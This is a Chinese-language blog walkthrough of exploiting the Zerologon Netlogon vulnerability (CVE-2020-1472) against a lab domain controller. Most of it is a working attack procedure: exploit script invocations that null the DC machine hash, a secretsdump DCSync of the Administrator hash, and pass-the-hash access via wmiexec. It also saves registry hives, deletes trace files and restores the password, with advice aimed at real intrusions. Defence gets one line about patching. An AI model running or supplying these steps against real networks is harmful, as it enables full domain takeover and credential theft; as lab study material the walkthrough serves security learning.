CVE-2020-1472_NetLogon权限提升漏洞
CVE-2020-1472 是⼀个 Windows 域控中非常严重的远程权限提升漏洞。
攻击者针对 Netlogon 协议认证的加密模块中的缺陷,通过 NetLogon,建⽴与域控间易受攻击的安全通道时,可以获取域控的管理员访问权限并将域控机器的Hash置空
<1> 漏洞简介
CVE-2020-1472 是⼀个 Windows 域控中非常严重的远程权限提升漏洞。通过该漏洞,未经身份验证的攻击者只需要能访问域控的135端口即可通过 NetLogon 远程协议连接域控并重置域控机器的Hash(置空),从而导致攻击者可以利用域控的机器账户导出域内所有用户的Hash(域控的机器账户默认具有DCSync权限),进而接管整个域
漏洞发⽣在 RPC 认证过程的过程中,Netlogon协议认证的加密模块存在缺陷,由于错误的使⽤了 AES-CFB8 加密所导致 攻击者可以在没有凭据的情况下通过认证。通过认证后 调用 NetLogon协议中RPC函数 NetrServerPasswordSet2 来重置域控机器账户的 Hash
影响Windows Server 2008R 2至Windows Server 2019的多个版本系统,该漏洞无需获取到域用户账户密码。只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞
稳定利用方式
- 重置目标域控的密码, 然后利用域控凭证进行Dc sync获取域管权限后修复域控密码,之所以不直接使用坏控凭证远程执行命令,是因为域控账户是不可以登录的,但是域控具备Dc sync权限, 可以获取域内任意用户的凭证
注:漏洞利用过程中会重置域控存储在域中(ntds.dit)的凭证,而域控存储在域中的凭证 与 本地的注册表/lsass中的凭证不一致时,会导致目标域控脱域,所以在重置完域控凭证后要尽快恢复,谨慎利用
<2> 漏洞影响版本
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2012
- Windows Server 2012 (Server Core installation)
- Windows Server 2012 R2
- Windows Server 2012 R2 (Server Core installation)
- Windows Server 2016
- Windows Server 2016 (Server Core installation)
- Windows Server 2019
- Windows Server 2019 (Server Core installation)
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
- Windows Server, version 2004 (Server Core installation)
<3> 漏洞利用
漏洞探测工具(poc):https://github.com/SecuraBV/CVE-2020-1472
漏洞利用工具(exp):
https://github.com/dirkjanm/CVE-2020-1472
https://github.com/risksense/zerologon
测试环境:
- 域控
- 域名:DC.hack.com
- IP:192.168.16.10
- 系统版本:WinServer 2012
- 攻击机
- 域内主机:WIN2008 (非域内主机也可以 能访问到域控就行)
- IP:192.168.16.20
- 系统版本:winserver2008
查询域控的名称
1 | Nslookup -type=SRV _ldap._tcp |

域控主机名为:DC
(1) 检测是否存在漏洞
zerologon_tester.py探测
首先利用 Poc 检测一下漏洞是否存在:
1 | python zerologon_tester.py DC 192.168.16.10 |

Success! 存在漏洞
(2) 置空域控Hash
前面确定目标域控存在NetLogon权限提升
使用 exploit 漏洞脚本将域控机器账号hash置空:
1 | python cve-2020-1472-exploit.py DC 192.168.16.10 |

如图,可以看到攻击成功
(3) 远程连接域控
攻击成功后,此时目标域控的机器账户DC$的密码已经被置空了。
由于域控机器账户默认在域内具有DCSync权限。因此,可以使用目标域控的机器账户DC$远程连接域控,指定Hash为空,使用secretsdump.py脚本到处域内任意用户的Hash
之后使用 DCSync dump hash
1 | #使用机器账户DC$,置Hash为空,导出administrator的Hash |

得到了域控的Hash:
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab::: |
成功dump下来 Administrator hash之后,接下来PTH Hash传递,smbexec或者wmicexec 远程连接域控
wmiexec连接
1 | wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab hack.com/Administrator@192.168.16.10 |

(4) 恢复域控机器账户hash
恢复域控原始Hash:
远程连上域控之后,通过导出注册表信息
将 sam、system、security 等文件保存到本地,获取域控机器上本地保存的之前的 hash 值用于恢复,不然就脱域了:
1 | reg save HKLM\SYSTEM system.save |
下载完之后删除痕迹文件
1 | del /f system.save |
之后通过Impacket 的 secretsdump.py
从sam.save、security.save、system.save 这些文件获得原来域控机器上的 Ntlm Hash 值,用于恢复密码
1 | secretsdump -sam sam.save -system system.save -security security.save LOCAL |

通过拿到 $MACHINE.ACC: 的值 然后进行恢复:注意只需要后半部分NTLM hash:
1 | $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:22f85914afa5407206dff2bb06f169cf |
1 | python reinstall_original_pw.py DC 192.168.16.10 22f85914afa5407206dff2bb06f169cf |

成功恢复为域控机器原来的hash 显示成功但是不一定成功
再次secretsdump来检测是否恢复密码成功:

空密码去获取hash失败,恢复成功 一定要检验一下,如果实战中 不会还原导致目标脱域了 game over
使用powershell命令重置Hash
另一种方法是 直接在域控上执行如下的Powershell命令,该命令会重置计算机的机器账户密码,重置后,活动目录数据库、注册表、lsass进程中的密码均一致,但重置后的密码与原始密码不一致
1 | PowerShell Reset-ComputerMachinePassword |

<4> 漏洞预防和修复
如何针对NetLogon权限提升漏洞进行预防和修复呢?
微软已经发布了该漏洞的补丁程序,Windows自动更新解决以上的问题
CVE-2020-1472_NetLogon权限提升漏洞
https://1vxyz.github.io/2023/10/25/CVE-2020-1472-NetLogon权限提升漏洞/

